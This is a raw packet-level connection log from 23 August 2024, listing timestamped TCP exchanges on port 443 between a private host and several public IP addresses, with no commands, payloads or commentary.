Aug 23, 2024 16:21:56.525573015 CEST	443	49802	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.527724028 CEST	49802	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.527754068 CEST	443	49802	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.582623959 CEST	443	49805	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.582901001 CEST	49805	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.582920074 CEST	443	49805	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.583247900 CEST	443	49805	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.583656073 CEST	49805	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.583714962 CEST	443	49805	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.583808899 CEST	49805	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.586137056 CEST	443	49804	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.586545944 CEST	49804	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.586555004 CEST	443	49804	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.587630033 CEST	443	49804	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.587703943 CEST	49804	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.588202953 CEST	49804	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.588260889 CEST	443	49804	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.588377953 CEST	49804	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.588399887 CEST	443	49804	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.595223904 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.596060991 CEST	49807	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.596075058 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.596391916 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.598262072 CEST	49807	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.598325014 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.600646973 CEST	49807	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.601517916 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.602713108 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.602722883 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.604083061 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.604154110 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.604494095 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.604604006 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.604666948 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.611208916 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.611350060 CEST	443	49809	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.613269091 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.613280058 CEST	443	49809	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.614263058 CEST	443	49809	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.614335060 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.615032911 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.615048885 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.615299940 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.615360022 CEST	443	49809	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.615410089 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.616089106 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.616173983 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.616468906 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.616559029 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.616621017 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.616683960 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.628495932 CEST	443	49805	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.643337965 CEST	49804	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.643352032 CEST	443	49804	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.644500971 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.659334898 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.659348011 CEST	443	49809	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.659384012 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.659389019 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.659399033 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.659399033 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.675302029 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.675517082 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.675539017 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.676956892 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.677040100 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.677315950 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.677395105 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.677434921 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.690351009 CEST	49804	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.706338882 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.706353903 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.706355095 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.712618113 CEST	443	49810	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.712888956 CEST	49810	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.712903976 CEST	443	49810	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.713850975 CEST	443	49810	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.713924885 CEST	49810	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.714315891 CEST	49810	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.714376926 CEST	443	49810	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.714498043 CEST	49810	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.714512110 CEST	443	49810	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:56.722341061 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.722347975 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:56.754354954 CEST	49810	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:56.770351887 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:56.832539082 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:56.832782984 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:56.832792997 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:56.833736897 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:56.833832979 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:56.834098101 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:56.834157944 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:56.834242105 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:56.834249020 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:56.882318020 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:57.111087084 CEST	49814	443	192.168.2.16	104.26.1.100
Aug 23, 2024 16:21:57.111114025 CEST	443	49814	104.26.1.100	192.168.2.16
Aug 23, 2024 16:21:57.111216068 CEST	49814	443	192.168.2.16	104.26.1.100
Aug 23, 2024 16:21:57.111476898 CEST	49814	443	192.168.2.16	104.26.1.100
Aug 23, 2024 16:21:57.111489058 CEST	443	49814	104.26.1.100	192.168.2.16
Aug 23, 2024 16:21:57.126912117 CEST	443	49801	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.126990080 CEST	443	49801	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.127053976 CEST	49801	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.127490997 CEST	443	49802	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.127548933 CEST	443	49802	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.127593040 CEST	49802	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.128036976 CEST	49801	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.128051043 CEST	443	49801	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.129318953 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.129345894 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.129409075 CEST	49802	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.129415035 CEST	443	49802	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.129424095 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.129780054 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.129789114 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.130913019 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.130928993 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.131007910 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.131172895 CEST	49817	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.131217957 CEST	443	49817	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.131278038 CEST	49817	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.131369114 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.131382942 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.131514072 CEST	49817	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.131524086 CEST	443	49817	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.132008076 CEST	49818	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.132014036 CEST	443	49818	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.132066965 CEST	49818	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.132271051 CEST	49818	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.132280111 CEST	443	49818	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.197545052 CEST	443	49804	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.197643042 CEST	443	49804	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.197711945 CEST	49804	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.198577881 CEST	49804	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.198589087 CEST	443	49804	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.200869083 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.200894117 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.200973988 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.201307058 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.201318979 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.220686913 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.220730066 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.220796108 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.220805883 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.220890045 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.220952034 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.221596003 CEST	49806	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.221601963 CEST	443	49806	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.232064962 CEST	443	49805	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.232247114 CEST	443	49805	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.232327938 CEST	49805	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.232836962 CEST	49805	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.232853889 CEST	443	49805	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.233006001 CEST	443	49809	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.233064890 CEST	443	49809	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.233108044 CEST	443	49809	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.233108997 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.233153105 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.233247995 CEST	49820	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.233262062 CEST	443	49820	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.233325005 CEST	49820	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.233757019 CEST	49820	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.233767033 CEST	443	49820	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.234492064 CEST	49809	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.234504938 CEST	443	49809	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.234718084 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.234734058 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.234790087 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.235086918 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.235100985 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.250704050 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.250874043 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.250914097 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.250940084 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.250957966 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.250973940 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.250999928 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.251043081 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.251082897 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.251096010 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.251116991 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.251158953 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.251902103 CEST	49808	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.251914978 CEST	443	49808	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.275070906 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.275121927 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.275180101 CEST	49807	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.275190115 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.275204897 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.275254011 CEST	49807	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.275896072 CEST	49807	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.275904894 CEST	443	49807	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.276246071 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.276263952 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.276326895 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.276679993 CEST	49822	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.276690006 CEST	443	49822	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.299025059 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.299099922 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.299139023 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.299165964 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.299181938 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.299220085 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.299226046 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.299233913 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.299280882 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.299285889 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.299662113 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.299740076 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.299745083 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.299779892 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.299823999 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.299829960 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.332047939 CEST	443	49810	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.332159042 CEST	443	49810	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.332214117 CEST	49810	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.332868099 CEST	49810	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.332878113 CEST	443	49810	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.346355915 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.346395016 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.394371033 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.497029066 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.497098923 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.497152090 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.497163057 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.497258902 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.497304916 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.497311115 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.497462988 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.497489929 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.497503042 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.497508049 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.497541904 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.498090029 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.498182058 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.498225927 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.498230934 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.498379946 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.498418093 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.498424053 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.499058008 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.499082088 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.499109983 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.499115944 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.499159098 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.499651909 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.500194073 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.500220060 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.500241995 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.500246048 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.500272036 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.500305891 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.500314951 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.500356913 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.519217968 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:57.519243002 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:57.519251108 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:57.519287109 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:57.519339085 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:57.519350052 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:57.519361973 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:57.520092010 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:57.520140886 CEST	443	49803	3.161.119.78	192.168.2.16
Aug 23, 2024 16:21:57.520196915 CEST	49803	443	192.168.2.16	3.161.119.78
Aug 23, 2024 16:21:57.601486921 CEST	443	49817	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.601772070 CEST	49817	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.601788998 CEST	443	49817	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.602125883 CEST	443	49817	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.602601051 CEST	49817	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.602684975 CEST	443	49817	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.603174925 CEST	49817	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.610269070 CEST	443	49818	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.610469103 CEST	49818	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.610477924 CEST	443	49818	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.610796928 CEST	443	49818	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.611053944 CEST	49818	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.611109972 CEST	443	49818	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.611156940 CEST	49818	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.625725031 CEST	443	49814	104.26.1.100	192.168.2.16
Aug 23, 2024 16:21:57.625953913 CEST	49814	443	192.168.2.16	104.26.1.100
Aug 23, 2024 16:21:57.625967979 CEST	443	49814	104.26.1.100	192.168.2.16
Aug 23, 2024 16:21:57.626969099 CEST	443	49814	104.26.1.100	192.168.2.16
Aug 23, 2024 16:21:57.627042055 CEST	49814	443	192.168.2.16	104.26.1.100
Aug 23, 2024 16:21:57.627873898 CEST	49814	443	192.168.2.16	104.26.1.100
Aug 23, 2024 16:21:57.627934933 CEST	443	49814	104.26.1.100	192.168.2.16
Aug 23, 2024 16:21:57.628004074 CEST	49814	443	192.168.2.16	104.26.1.100
Aug 23, 2024 16:21:57.628011942 CEST	443	49814	104.26.1.100	192.168.2.16
Aug 23, 2024 16:21:57.630389929 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.630568981 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.630579948 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.630893946 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.631153107 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.631203890 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.631239891 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.631252050 CEST	443	49815	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.631831884 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.632004023 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.632013083 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.632299900 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.632560015 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.632616997 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.632632971 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.632651091 CEST	443	49816	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:57.644498110 CEST	443	49817	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.652498960 CEST	443	49818	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.681337118 CEST	49815	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.681355000 CEST	49816	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:57.681360960 CEST	49814	443	192.168.2.16	104.26.1.100
Aug 23, 2024 16:21:57.709572077 CEST	443	49820	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.709816933 CEST	49820	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.709839106 CEST	443	49820	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.711200953 CEST	443	49820	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.711270094 CEST	49820	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.711528063 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.711565018 CEST	49820	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.711668968 CEST	443	49820	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.711738110 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.711747885 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.711807966 CEST	49820	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.711815119 CEST	443	49820	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.712779045 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.712840080 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.713082075 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.713139057 CEST	443	49821	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.713161945 CEST	49821	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.727272034 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.727341890 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.727397919 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.727416039 CEST	49811	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:57.727425098 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.727435112 CEST	443	49811	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:57.727462053 CEST	49811	443	192.168.2.16	188.114.97.3
